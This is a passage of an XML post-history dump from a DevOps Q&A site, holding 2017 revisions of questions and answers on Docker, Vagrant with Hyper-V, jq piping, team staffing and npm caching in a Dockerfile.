  <row Id="9123" PostHistoryTypeId="2" PostId="2926" RevisionGUID="cea6b415-80b9-4ac5-b87e-fe974dcee164" CreationDate="2017-12-19T16:07:24.017" UserId="5787" Text="If you don't want the containers to restart, you can set the `condition:` to `none`. See https://docs.docker.com/compose/compose-file/#restart_policy&#xD;&#xA;&#xD;&#xA;On the swarm manager, you could use `docker swarm ps` to check the status of the containers on a regular basis and shut down the stack if the database containers aren't running (using cron or whatever). For example:&#xD;&#xA;&#xD;&#xA;`docker stack ps --filter &quot;desired-state=Running&quot; your-stack |grep database || docker stack rm your-stack`.&#xD;&#xA;&#xD;&#xA;If containers are not able to restart, they shouldn't show up in the list once they fail, and once none are found, you can remove the stack." ContentLicense="CC BY-SA 3.0" />
  <row Id="9124" PostHistoryTypeId="2" PostId="2927" RevisionGUID="234b37fe-6343-4a5c-949e-cb0137b554d6" CreationDate="2017-12-19T16:12:32.117" UserId="210" Text="https://www.vagrantup.com/docs/hyperv/&#xD;&#xA;&#xD;&#xA;Back in the day, I was using virtualbox and vagrant to run vms. Since I installed docker for windows and run vagrant vbox complains about hyper v.&#xD;&#xA;&#xD;&#xA;Although I found above link, it is unclear to me why virtualbox is incompatible with hyper v, why vagrant says that it supports hyper v and how to prevent that hyper v needs to be disabled in order to use vagrant again." ContentLicense="CC BY-SA 3.0" />
  <row Id="9125" PostHistoryTypeId="1" PostId="2927" RevisionGUID="234b37fe-6343-4a5c-949e-cb0137b554d6" CreationDate="2017-12-19T16:12:32.117" UserId="210" Text="use vagrant and docker for windows on hyper v system" ContentLicense="CC BY-SA 3.0" />
  <row Id="9126" PostHistoryTypeId="3" PostId="2927" RevisionGUID="234b37fe-6343-4a5c-949e-cb0137b554d6" CreationDate="2017-12-19T16:12:32.117" UserId="210" Text="&lt;windows&gt;&lt;vagrant&gt;&lt;virtualbox&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9127" PostHistoryTypeId="2" PostId="2928" RevisionGUID="8c9c369a-4cf3-45fb-b7e4-2c7fb799239c" CreationDate="2017-12-19T17:12:52.593" UserId="2845" Text="I recently learned about an outstanding little tool, [jq](https://community.theforeman.org/t/friday-tip-of-the-day-use-jq-to-parse-json/7691) that allows you to pipe unformatted JSON output into it and then have that output reformatted and output to the screen.&#xD;&#xA;&#xD;&#xA;I have found however, that I am unable to pipe the formatted results (from jq) into additional tools in my standard toolset, such as grep, sed, awk, etc. How can I make make this output pipe-able?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9128" PostHistoryTypeId="1" PostId="2928" RevisionGUID="8c9c369a-4cf3-45fb-b7e4-2c7fb799239c" CreationDate="2017-12-19T17:12:52.593" UserId="2845" Text="How can I pipe jq output" ContentLicense="CC BY-SA 3.0" />
  <row Id="9129" PostHistoryTypeId="3" PostId="2928" RevisionGUID="8c9c369a-4cf3-45fb-b7e4-2c7fb799239c" CreationDate="2017-12-19T17:12:52.593" UserId="2845" Text="&lt;json&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9134" PostHistoryTypeId="50" PostId="2520" RevisionGUID="caf3199b-a745-43b8-b2ef-ad6b3569ad29" CreationDate="2017-12-19T19:12:02.317" UserId="-1" />
  <row Id="9137" PostHistoryTypeId="50" PostId="1832" RevisionGUID="bac2e85a-6682-4b10-b38f-38d47830013c" CreationDate="2017-12-19T21:12:00.780" UserId="-1" />
  <row Id="9138" PostHistoryTypeId="5" PostId="2922" RevisionGUID="f859f56e-a25c-43a8-8d80-c32b97515812" CreationDate="2017-12-19T21:37:52.603" UserId="960" Comment="added 41 characters in body" Text="&gt; I would really prefer to not have to also manage a separate Active Directory Domain within our VNets&#xD;&#xA;&#xD;&#xA;You've already found the answer: centralized authentication.&#xD;&#xA;&#xD;&#xA;If you use a tool like [Okta](https://www.okta.com/partners/gsuite/), you can [indirectly tie GSuite to AD](https://support.google.com/a/answer/60224?hl=en) (or an LDAP server).  And then of course you can [tie OpenSSH there](https://serverfault.com/q/23632/12214) as well.&#xD;&#xA;&#xD;&#xA;&gt; or deal with revoking ssh keys&#xD;&#xA;&#xD;&#xA;Centralized authentication solves this.&#xD;&#xA;&#xD;&#xA;&gt; or updating multiple usernames/passwords on every single VM we deploy.&#xD;&#xA;&#xD;&#xA;And this as well.&#xD;&#xA;&#xD;&#xA;You've already got the answer, even if you don't like it." ContentLicense="CC BY-SA 3.0" />
  <row Id="9139" PostHistoryTypeId="50" PostId="1411" RevisionGUID="40627aa7-7c30-4caf-be46-0b0869afd4d4" CreationDate="2017-12-19T22:12:00.727" UserId="-1" />
  <row Id="9140" PostHistoryTypeId="5" PostId="2860" RevisionGUID="b91950f5-e306-4602-83c0-5efa65e5d8b7" CreationDate="2017-12-19T22:19:19.080" UserId="5667" Comment="added 138 characters in body" Text="First question here (i'm usually on StackOverflow)...not sure if the right place (if not, please vote to move where it belongs).&#xD;&#xA;&#xD;&#xA;If we have a dev process using traditional [GitFlow](https://datasift.github.io/gitflow/IntroducingGitFlow.html) approach, what criteria should be met before a Pull Request (PR) is opened? Specifically, if the work requires manual testing/QA signoff before being _merged_ into `master`.&#xD;&#xA;&#xD;&#xA;There are two sides of the fence here:&#xD;&#xA;&#xD;&#xA;1. **PR's should _not_ be opened until the work is &quot;ready&quot;**. (ready = ready for production, pending any code reviews, which should just be based on code quality/standards). *Pros*: reviewer doesn't need to check if the work is 'ready to be merged'. It's defined by the process. *Cons*: longer time (e.g waiting for test signoff) before the code is reviewed. PR's are open longer.&#xD;&#xA;2. **Open the PR, even if it's not ready**. Basically, allow the QA testing &amp; code reviews to operate in parallel. *Pros*: code review and testing can operate in parallel. *Cons*: if issues are found in testing, the code needs to change, even though it has already been reviewed. So reviewing could happen multiple times, and communication needs to be fed correctly between parties.&#xD;&#xA;&#xD;&#xA;Thoughts on either 2 approaches, or is there an option 3? What standards/advice is there in this process?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9141" PostHistoryTypeId="5" PostId="2928" RevisionGUID="fa15b515-d847-4fbf-890c-4647cd274f2e" CreationDate="2017-12-19T23:32:02.040" UserId="2845" Comment="added 51 characters in body" Text="I recently learned about an outstanding little tool, [jq](https://community.theforeman.org/t/friday-tip-of-the-day-use-jq-to-parse-json/7691) that allows you to pipe unformatted JSON output into it and then have that output reformatted and output to the screen in a very nicely formatted color-coded json layout.&#xD;&#xA;&#xD;&#xA;I have found however, that I am unable to pipe the formatted results (from jq) into additional tools in my standard toolset, such as grep, sed, awk, etc. How can I make make this output pipe-able?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9142" PostHistoryTypeId="33" PostId="2883" RevisionGUID="e104bab6-0ec4-4acb-8cdd-8c3e03bd5aef" CreationDate="2017-12-20T00:02:15.123" UserId="60" Comment="12" />
  <row Id="9143" PostHistoryTypeId="2" PostId="2930" RevisionGUID="c623040f-08ee-4337-89a9-90cabb8be278" CreationDate="2017-12-20T01:09:24.863" UserId="228" Text="There are four main reasons why you can **feel** your team is understaffed:&#xD;&#xA;&#xD;&#xA; 1. Poor organization and planning of work&#xD;&#xA; 2. Doing work someone else should be doing&#xD;&#xA; 3. Doing work that should not be done at all&#xD;&#xA; 4. Being actually understaffed&#xD;&#xA;&#xD;&#xA;Start with a review of the first three points. Read the **Phoenix Project** on ideas how to do the first. Ask yourself for every task you help anyone with if it should be done at all and if it is you that should be doing the task or if you should simply enable whoever needs it done to do it themselves. This will give you some documentation on why all the work you do is necessary.&#xD;&#xA;&#xD;&#xA;Next review the four types of work mentioned in the Phoenix project:&#xD;&#xA;&#xD;&#xA; 1. **Business Projects** - what you do for other teams in the organization&#xD;&#xA; 2. **Internal Projects** - what you do to make your work easier in future&#xD;&#xA; 3. **Scheduled Maintenance** - what you do to keep the lights on&#xD;&#xA; 4. **Unplanned Interrupts** - what you do because something went wrong&#xD;&#xA;&#xD;&#xA;If the work of your team is sustainable, you will spend roughly the same amount of time on each of the four. If the unplanned work starts to creep up close to 50% of your time, it is a sign you are definitely understaffed. &#xD;&#xA;&#xD;&#xA;You should be able to hire to stay about one person ahead of the unplanned work reaching 25% of your time, otherwise, one person leaving will send your entire team into a tailspin you might never recover from." ContentLicense="CC BY-SA 3.0" />
  <row Id="9144" PostHistoryTypeId="5" PostId="2927" RevisionGUID="168f0dfe-9ada-44a8-a2d7-3923ea4959ba" CreationDate="2017-12-20T05:58:31.527" UserId="210" Comment="added 226 characters in body" Text="https://www.vagrantup.com/docs/hyperv/&#xD;&#xA;&#xD;&#xA;Back in the day, I was using virtualbox and vagrant to run vms. Since I installed docker for windows and run vagrant vbox complains about hyper v.&#xD;&#xA;&#xD;&#xA;    [user@localhost ~]$ vagrant up&#xD;&#xA;    Stderr: VBoxManage.exe: error: VT-x is not available (VERR_VMX_NO_VMX)&#xD;&#xA;    VBoxManage.exe: error: Details: code E_FAIL (0x80004005), component&#xD;&#xA;    ConsoleWrap, interface IConsole&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Although I found above link, it is unclear to me why virtualbox is incompatible with hyper v, why vagrant says that it supports hyper v and how to prevent that hyper v needs to be disabled in order to use vagrant again." ContentLicense="CC BY-SA 3.0" />
  <row Id="9145" PostHistoryTypeId="5" PostId="2927" RevisionGUID="0e73ea49-ae2b-43b0-a644-1d848d667de2" CreationDate="2017-12-20T06:04:21.120" UserId="210" Comment="added 226 characters in body" Text="https://www.vagrantup.com/docs/hyperv/&#xD;&#xA;&#xD;&#xA;Back in the day, I was using virtualbox and vagrant to run VMs. Since I installed [docker-for-windows][1] and run [vagrant][2], [Virtualbox][3] complains about [Hyper-V][4].&#xD;&#xA;&#xD;&#xA;    [user@localhost ~]$ vagrant up&#xD;&#xA;    Stderr: VBoxManage.exe: error: VT-x is not available (VERR_VMX_NO_VMX)&#xD;&#xA;    VBoxManage.exe: error: Details: code E_FAIL (0x80004005), component&#xD;&#xA;    ConsoleWrap, interface IConsole&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Although I found above link, it is unclear to me why virtualbox is incompatible with hyper v, why vagrant says that it supports hyper v and how to prevent that hyper v needs to be disabled in order to use vagrant again.&#xD;&#xA;&#xD;&#xA;    | Product    | Version |&#xD;&#xA;    |:-----------|--------:|&#xD;&#xA;    | Vagrant    |   2.0.1 |&#xD;&#xA;    | VirtualBox |   5.2.4 |&#xD;&#xA;    | Windows    |      10 | &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/docker-for-windows/&#xD;&#xA;  [2]: https://www.vagrantup.com/&#xD;&#xA;  [3]: https://www.virtualbox.org/&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Hyper-V" ContentLicense="CC BY-SA 3.0" />
  <row Id="9146" PostHistoryTypeId="5" PostId="2927" RevisionGUID="faef8533-1175-4d32-91ac-8d79cb6d6cd9" CreationDate="2017-12-20T06:14:24.997" UserId="210" Comment="added 226 characters in body" Text="Back in the day, I was using VirtualBox (VB) and [Vagrant (V)][2] to run VMs. Since I installed [docker-for-windows][1] and run V, [VB][3] complains about [Hyper-V (HV)][4].&#xD;&#xA;&#xD;&#xA;    [user@localhost ~]$ vagrant up&#xD;&#xA;    Stderr: VBoxManage.exe: error: VT-x is not available (VERR_VMX_NO_VMX)&#xD;&#xA;    VBoxManage.exe: error: Details: code E_FAIL (0x80004005), component&#xD;&#xA;    ConsoleWrap, interface IConsole&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Although [this link][5] indicates that V supports HV, the above error message is contradictive. Why does VB look incompatible with HV, why V says that it supports HV and how to prevent that HV needs to be disabled in order to use V again.&#xD;&#xA;&#xD;&#xA;    | Product    | Version |&#xD;&#xA;    |:-----------|--------:|&#xD;&#xA;    | Vagrant    |   2.0.1 |&#xD;&#xA;    | VirtualBox |   5.2.4 |&#xD;&#xA;    | Windows    |      10 | &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/docker-for-windows/&#xD;&#xA;  [2]: https://www.vagrantup.com/&#xD;&#xA;  [3]: https://www.virtualbox.org/&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Hyper-V&#xD;&#xA;  [5]: https://www.vagrantup.com/docs/hyperv/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9147" PostHistoryTypeId="4" PostId="2927" RevisionGUID="faef8533-1175-4d32-91ac-8d79cb6d6cd9" CreationDate="2017-12-20T06:14:24.997" UserId="210" Comment="added 226 characters in body" Text="How to use Vagrant and Docker-for-Windows on a Hyper-V system?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9148" PostHistoryTypeId="5" PostId="2927" RevisionGUID="c4b1ad46-da34-4103-ada7-c64de40ea781" CreationDate="2017-12-20T06:21:38.940" UserId="210" Comment="added 226 characters in body" Text="Back in the day, I was using [VirtualBox (VB)][3] and [Vagrant (V)][1] to run VMs. Since I installed [docker-for-windows (DfW)][2] and run V, VB complains about [Hyper-V (HV)][4].&#xD;&#xA;&#xD;&#xA;    [user@localhost ~]$ vagrant up&#xD;&#xA;    Stderr: VBoxManage.exe: error: VT-x is not available (VERR_VMX_NO_VMX)&#xD;&#xA;    VBoxManage.exe: error: Details: code E_FAIL (0x80004005), component&#xD;&#xA;    ConsoleWrap, interface IConsole&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Although [this link][5] indicates that V supports HV, the above error message is contradictive. Why does VB look incompatible with HV, why V says that it supports HV and how to prevent that HV needs to be disabled in order to use V again.&#xD;&#xA;&#xD;&#xA;    | Product    | Version |&#xD;&#xA;    |:-----------|--------:|&#xD;&#xA;    | Vagrant    |   2.0.1 |&#xD;&#xA;    | VirtualBox |   5.2.4 |&#xD;&#xA;    | Windows    |      10 | &#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;[The suggestion to switch Hyper-V on and off][6] is not the preferred solution as it is time consuming.&#xD;&#xA;&#xD;&#xA;If it would be possible to run V and DfW on the same system by replacing VB this could be an option.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vagrantup.com/&#xD;&#xA;  [2]: https://docs.docker.com/docker-for-windows/&#xD;&#xA;  [3]: https://www.virtualbox.org/&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Hyper-V&#xD;&#xA;  [5]: https://www.vagrantup.com/docs/hyperv/&#xD;&#xA;  [6]: http://www.hanselman.com/blog/SwitchEasilyBetweenVirtualBoxAndHyperVWithABCDEditBootEntryInWindows81.aspx" ContentLicense="CC BY-SA 3.0" />
  <row Id="9149" PostHistoryTypeId="2" PostId="2931" RevisionGUID="9b3a489d-1d6c-4636-9b01-00ea9d008239" CreationDate="2017-12-20T09:28:30.143" UserId="13" Text="Ok tried to understansd your problem exactly, what happens is as follow:&#xD;&#xA;&#xD;&#xA;    $ echo '{&quot;value&quot;: &quot;New&quot;, &quot;onclick&quot;: &quot;CreateNewDoc()&quot;}' | jq | grep value&#xD;&#xA;    jq - commandline JSON processor [version 1.5-1-a5b5cbe]&#xD;&#xA;    Usage: jq [options] &lt;jq filter&gt; [file...]&#xD;&#xA;    [rest of output is omitted for brevity]&#xD;&#xA;&#xD;&#xA;The important thing to read here is the usage line (emphasis is mine):&#xD;&#xA;&#xD;&#xA;&gt; Usage: jq [options] **&amp;lt;jq filter&amp;gt;** [file...]&#xD;&#xA;&#xD;&#xA;The filter is not optional, if you don't give one, jq try to parse the rest of the command line as its filter and throw an error, a workaround for your case here is:&#xD;&#xA;&#xD;&#xA;    $ echo '{&quot;value&quot;: &quot;New&quot;, &quot;onclick&quot;: &quot;CreateNewDoc()&quot;}' | jq '.' | grep value&#xD;&#xA;      &quot;value&quot;: &quot;New&quot;,&#xD;&#xA;&#xD;&#xA;which indeed grep &quot;value&quot; line as the filter pass is '.' which just pretty print the json content, but that's far from the best use of jq and if you wish to get only this line you'd better do:&#xD;&#xA;&#xD;&#xA;    $ echo '{&quot;value&quot;: &quot;New&quot;, &quot;onclick&quot;: &quot;CreateNewDoc()&quot;}' | jq '.value'&#xD;&#xA;    &quot;New&quot;&#xD;&#xA;&#xD;&#xA;If you wish the value without quotes then add `-r` option to jq like:&#xD;&#xA;&#xD;&#xA;    $ echo '{&quot;value&quot;: &quot;New&quot;, &quot;onclick&quot;: &quot;CreateNewDoc()&quot;}' | jq -r '.value'&#xD;&#xA;    New&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;from `jq --help`:&#xD;&#xA;&#xD;&#xA;&gt; -r     output raw strings, not JSON texts;&#xD;&#xA;&#xD;&#xA;that's a little introduction to jq, that's probably not enough to solve your problem at all but as you didn't specify your problem I can't help more than that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9152" PostHistoryTypeId="5" PostId="2930" RevisionGUID="b4030a56-11d5-4e1b-9871-a39f81ee36d4" CreationDate="2017-12-20T15:41:24.433" UserId="228" Comment="added 74 characters in body" Text="There are four main reasons why you can **feel** your team is understaffed:&#xD;&#xA;&#xD;&#xA; 1. Poor organization and planning of work&#xD;&#xA; 2. Doing work someone else should be doing&#xD;&#xA; 3. Doing work that should not be done at all&#xD;&#xA; 4. Being actually understaffed&#xD;&#xA;&#xD;&#xA;Start with a review of the first three points. Read the **Phoenix Project** on ideas how to do the first. Ask yourself for every task you help anyone with if it should be done at all and if it is you that should be doing the task or if you should simply enable whoever needs it done to do it themselves. This will give you some documentation on why all the work you do is necessary.&#xD;&#xA;&#xD;&#xA;Next review the four types of work mentioned in the Phoenix project:&#xD;&#xA;&#xD;&#xA; 1. **Business Projects** - what you do for other teams in the organization&#xD;&#xA; 2. **Internal Projects** - what you do to make your work easier in future&#xD;&#xA; 3. **Scheduled Maintenance** - what you do to keep the lights on&#xD;&#xA; 4. **Unplanned Interrupts** - what you do because something went wrong&#xD;&#xA;&#xD;&#xA;If the work of your team is sustainable, you will spend roughly the same amount of time on each of the four. If the unplanned work starts to creep up close to 50% of your time, it is a sign you are definitely understaffed. &#xD;&#xA;&#xD;&#xA;You should be able to hire to stay about one person ahead of the unplanned work reaching 25% of your time, otherwise, one person leaving will send your entire team into a tailspin you might never recover from. Overprovisioning of people and technology have same reasons and benefits." ContentLicense="CC BY-SA 3.0" />
  <row Id="9153" PostHistoryTypeId="2" PostId="2932" RevisionGUID="8834e68e-c83a-4d32-af57-7d8dbd6e0d9e" CreationDate="2017-12-20T16:00:59.813" UserId="40" Text="# Grouping of tasks&#xD;&#xA;&#xD;&#xA;An approach we've used in the past in similar situations is to organize the work of a team in 4 major groups of tasks, and allocate the equivalent of 2 FTE (Full Time Equivalents) to (try to) complete those tasks. In our case it was related to running an SCM helpdesk in a mainframe environment, with about 300 developers asking for all sorts of help / interventions from those 2 FTEs. The groups of tasks are organized in 4 possible priorities:&#xD;&#xA;&#xD;&#xA;- Tasks of Priority 1 and 2 ***must*** be completed (no excuses / negotiations possible)&#xD;&#xA;- Priority 3 tasks are to be completed &quot;***as soon*** as time permits&quot;.&#xD;&#xA;- Priority 4 tasks are to be completed &quot;***if*** time permits&quot;.&#xD;&#xA;&#xD;&#xA;Read on for more details about the kind of tasks in each of those 4 groups ...&#xD;&#xA;&#xD;&#xA;# Task descriptions&#xD;&#xA;&#xD;&#xA;### Priority 1 - Operate the helpdesk&#xD;&#xA;&#xD;&#xA;- By experts who are easily accessible and always available.&#xD;&#xA;- Via phone, eMail or ticketing system during business hours.&#xD;&#xA;- Compliant to predefined SLAs.&#xD;&#xA;- ITIL-based registration of all helpdesk calls with periodic reporting of all calls.&#xD;&#xA;- Apply emergency customizations (work arounds) for critical issues.&#xD;&#xA;&#xD;&#xA;### Priority 2 - Watch duty services&#xD;&#xA;&#xD;&#xA;- 24h/day, 7d/week on-call availability.&#xD;&#xA;- Compliant to predefined SLAs.&#xD;&#xA;- Reporting of all watch duty calls.&#xD;&#xA;- Management escalation where needed.&#xD;&#xA;&#xD;&#xA;### Priority 3 - Routine maintenance&#xD;&#xA;&#xD;&#xA;- Administration.&#xD;&#xA;- Application boarding.&#xD;&#xA;- Housekeeping.&#xD;&#xA;- Performance enhancements.&#xD;&#xA;- Space management.&#xD;&#xA;- Tuning of resource consumption.&#xD;&#xA;- Suggest enhancements for customisations to reduce the number of helpdesk calls and/or watch duty interventions.&#xD;&#xA;&#xD;&#xA;### Priority 4 - Fixes and enhancements&#xD;&#xA;&#xD;&#xA;- Create and maintain user documentation.&#xD;&#xA;- QA testing of new customisations.&#xD;&#xA;- Develop and implement enhancement requests.&#xD;&#xA;- Participate in DRP-testing.&#xD;&#xA;&#xD;&#xA;# Evaluation&#xD;&#xA;&#xD;&#xA;If you're using an approach as described above, various things may (will!) start to happen:&#xD;&#xA;&#xD;&#xA;- If the team is understaffed, probably most of the time will go to priority 1 and 2 tasks, while it may take a while to get the priority 3 tasks ... and priority 4 tasks might suffer starvation (there appears to never be time for those tasks).&#xD;&#xA;- The more there is (becomes) time available to &quot;*invest*&quot; in priority 4 tasks,  the more time needed for priority 1 and 2 tasks will be reduced, so that even more time (of the available budget of 2 FTEs) can be &quot;invested&quot; in priority 4 tasks.&#xD;&#xA;- You'll be amazed to see how, after a while, the number of priority 1 and 2 tasks will go down. And if you do adequate reporting about those tasks, that's something management loves to hear. In our case that number went down from about 300/month, to below 100/month ...&#xD;&#xA;- If however the 2 FTEs appear to never (or hardly) have time for priority 4 tasks, then you have a perfect explanation and proof for your management ... that you're understaffed." ContentLicense="CC BY-SA 3.0" />
  <row Id="9154" PostHistoryTypeId="5" PostId="2928" RevisionGUID="25d393b7-9d95-4984-9551-c9a980533893" CreationDate="2017-12-20T16:41:40.717" UserId="2845" Comment="added 165 characters in body" Text="I recently learned about an outstanding little tool, [jq](https://community.theforeman.org/t/friday-tip-of-the-day-use-jq-to-parse-json/7691) that allows you to pipe unformatted JSON output into it and then have that output reformatted and output to the screen in a very nicely formatted color-coded json layout. Eg:&#xD;&#xA;&#xD;&#xA;    echo '{&quot;value&quot;: &quot;New&quot;, &quot;onclick&quot;: &quot;CreateNewDoc()&quot;}' | jq&#xD;&#xA;&#xD;&#xA;I have found however, that I am unable to pipe the formatted results (from jq) into additional tools in my standard toolset, such as grep, sed, awk, etc. How can I make make this output pipe-able? Eg, this doesn't work:&#xD;&#xA;&#xD;&#xA;    '{&quot;value&quot;: &quot;New&quot;, &quot;onclick&quot;: &quot;CreateNewDoc()&quot;}' | jq | grep value" ContentLicense="CC BY-SA 3.0" />
  <row Id="9155" PostHistoryTypeId="2" PostId="2933" RevisionGUID="9a71b30f-251d-4f7f-acf2-95bc44aa9868" CreationDate="2017-12-20T16:56:06.147" UserId="5805" Text="Since November 2017, it is now possible to directly interact with servers in a VPC \o/&#xD;&#xA;&#xD;&#xA;See: &#xD;&#xA;&#xD;&#xA; - https://stackoverflow.com/questions/32671394/can-i-specify-http-endpoint-in-a-vpc-as-resource-in-aws-api-gateway&#xD;&#xA; - http://docs.aws.amazon.com/apigateway/latest/developerguide/set-up-private-integration.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="9157" PostHistoryTypeId="2" PostId="2934" RevisionGUID="4d02a238-1f4d-4474-8999-524a52dcf6cd" CreationDate="2017-12-20T17:07:04.543" UserId="960" Text="I'm going to talk about general process here, rather than addressing Magneto specifically, so that it's useful to more people and situations.&#xA;&#xA;&gt; How do I automate this Magento2 installation process from dockerfile. Like setting up database and the other installation process.&#xA;&#xA;Run through the wizard process once. Track down the files it generates, which isn't straightforward and may require a few tries. Pull those configuration files into your app configuration, and try a fresh container that just uses those.&#xA;&#xA;That is, reproduce what the installation wizard is doing in your own configuration tool. This sounds difficult, but often the wizard is complex because it needs to address many situations, and you are fine hard-coding many things for your specific situation.&#xA;&#xA;As a final note, since we're talking about Docker, presumably the database resides on another machine. Therefore, you only need to set it up once, and that process will be part of *its* provisioning, not this container's." ContentLicense="CC BY-SA 3.0" />
  <row Id="9158" PostHistoryTypeId="50" PostId="1725" RevisionGUID="dffa9b4b-5e42-4857-a2ae-62fee409260b" CreationDate="2017-12-20T19:14:46.123" UserId="-1" />
  <row Id="9159" PostHistoryTypeId="50" PostId="1579" RevisionGUID="eea879e3-c725-498e-8241-868c2578d322" CreationDate="2017-12-20T20:22:27.927" UserId="-1" />
  <row Id="9160" PostHistoryTypeId="2" PostId="2935" RevisionGUID="047edd67-3815-4bff-9b46-847be4bbc45c" CreationDate="2017-12-20T21:03:29.743" UserId="786" Text="Firstly, because leadership is not very much to do with any particular technology, but about having a deep understanding of the problem that the team is writing software to solve, and about having great interpersonal skills: mentoring, conflict resolution, self-awareness... A person who thinks it is about technical ability alone lacks at least one of those.&#xD;&#xA;&#xD;&#xA;Secondly, let's be honest - the vast majority of &quot;full stack&quot; developers really only know JavaScript, and even then, only in the context of applying a pre-written framework to a well known problem, like an intranet or a shopping cart. A person who is seasoned in C++, or the major RDBMS's, or similar traditional skills will not find this impressive and will not take leadership from someone who believes that they are a master of all skills in the stack - unless that person swallows their ego and adopts a more realistic title." ContentLicense="CC BY-SA 3.0" />
  <row Id="9161" PostHistoryTypeId="2" PostId="2936" RevisionGUID="ea592931-67bb-4fa7-9de4-f028d18be23e" CreationDate="2017-12-20T21:30:17.333" UserId="4790" Text="I finally solved this by using Docker image layer caching for the npm install, following [this answer][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/35774741/1258525&#xD;&#xA;&#xD;&#xA;This means I moved the npm install out of the Docker slave image and into the actually frontend image, here is my final Docker file that truly caches the npm install in between builds if package.config has no changes:&#xD;&#xA;&#xD;&#xA;    FROM centos:7&#xD;&#xA;    MAINTAINER Brian Ogden&#xD;&#xA;    &#xD;&#xA;    # Not currently being used but may come in handy&#xD;&#xA;    ARG ENVIRONMENT&#xD;&#xA;    ENV NODE_VERSION 6.11.1&#xD;&#xA;    &#xD;&#xA;    RUN yum -y update; yum clean all&#xD;&#xA;    RUN yum -y install http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm; yum -y makecache&#xD;&#xA;    RUN yum -y install nginx-1.12.0&#xD;&#xA;    &#xD;&#xA;    # Cleanup some default NGINX configuration files we don’t need&#xD;&#xA;    RUN rm /etc/nginx/conf.d/default.conf&#xD;&#xA;    &#xD;&#xA;    COPY ./docker/conf/frontend.conf /etc/nginx/conf.d/frontend.conf&#xD;&#xA;    COPY ./docker/conf/nginx.conf /etc/nginx/nginx.conf&#xD;&#xA;    &#xD;&#xA;    #############################################&#xD;&#xA;    # NodeJs Install&#xD;&#xA;    #############################################&#xD;&#xA;    RUN yum install -y \&#xD;&#xA;            wget&#xD;&#xA;    &#xD;&#xA;    #Download NodeJs package&#xD;&#xA;    RUN wget https://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linux-x64.tar.gz&#xD;&#xA;    &#xD;&#xA;    #extract the binary package into our system's local package hierarchy with the tar command. &#xD;&#xA;    #The archive is packaged within a versioned directory, which we can get rid of by passing the --strip-components 1 option. &#xD;&#xA;    #We will specify the target directory of our command with the -C command:&#xD;&#xA;    #This will install all of the components within the /usr/local branch&#xD;&#xA;    RUN tar --strip-components 1 -xzvf node-v* -C /usr/local&#xD;&#xA;    #############################################&#xD;&#xA;    &#xD;&#xA;    # https://stackoverflow.com/a/35774741/1258525&#xD;&#xA;    # use changes to package.json to force Docker not to use the cache&#xD;&#xA;    # when we change our application's nodejs dependencies:&#xD;&#xA;    COPY package.json /tmp/package.json&#xD;&#xA;    RUN cd /tmp &amp;&amp; npm install&#xD;&#xA;    RUN mkdir /app &amp;&amp; cp -a /tmp/node_modules /app/&#xD;&#xA;    &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    COPY . /app&#xD;&#xA;    &#xD;&#xA;    RUN npm run build-$ENVIRONMENT&#xD;&#xA;    &#xD;&#xA;    RUN cd /app &amp;&amp; cp -a dist/* /usr/share/nginx/html&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    EXPOSE 80&#xD;&#xA;    &#xD;&#xA;    CMD [&quot;nginx&quot;]&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9165" PostHistoryTypeId="5" PostId="2936" RevisionGUID="db2580d6-1437-4377-8051-2860caff480b" CreationDate="2017-12-21T00:16:24.960" UserId="4790" Comment="deleted 439 characters in body" Text="I finally solved this by using Docker image layer caching for the npm install, following [this answer][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/35774741/1258525&#xD;&#xA;&#xD;&#xA;This means I moved the npm install out of the Docker slave image and into the actually frontend image, here is my final Docker file that truly caches the npm install in between builds if package.config has no changes:&#xD;&#xA;&#xD;&#xA;    FROM centos:7&#xD;&#xA;    MAINTAINER Brian Ogden&#xD;&#xA;     &#xD;&#xA;    # Not currently being used but may come in handy&#xD;&#xA;    ARG ENVIRONMENT&#xD;&#xA;    ENV NODE_VERSION 6.11.1&#xD;&#xA;     &#xD;&#xA;    RUN yum -y update &amp;&amp; \&#xD;&#xA;        yum clean all &amp;&amp; \&#xD;&#xA;        yum -y install http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm \&#xD;&#xA;        yum -y makecache &amp;&amp; \&#xD;&#xA;        yum -y install nginx-1.12.0 wget&#xD;&#xA;     &#xD;&#xA;    # Cleanup some default NGINX configuration files we don’t need&#xD;&#xA;    RUN rm /etc/nginx/conf.d/default.conf&#xD;&#xA;     &#xD;&#xA;    #############################################&#xD;&#xA;    # NodeJs Install&#xD;&#xA;    #############################################&#xD;&#xA;    &#xD;&#xA;    #Download NodeJs package&#xD;&#xA;    RUN wget -q -O - 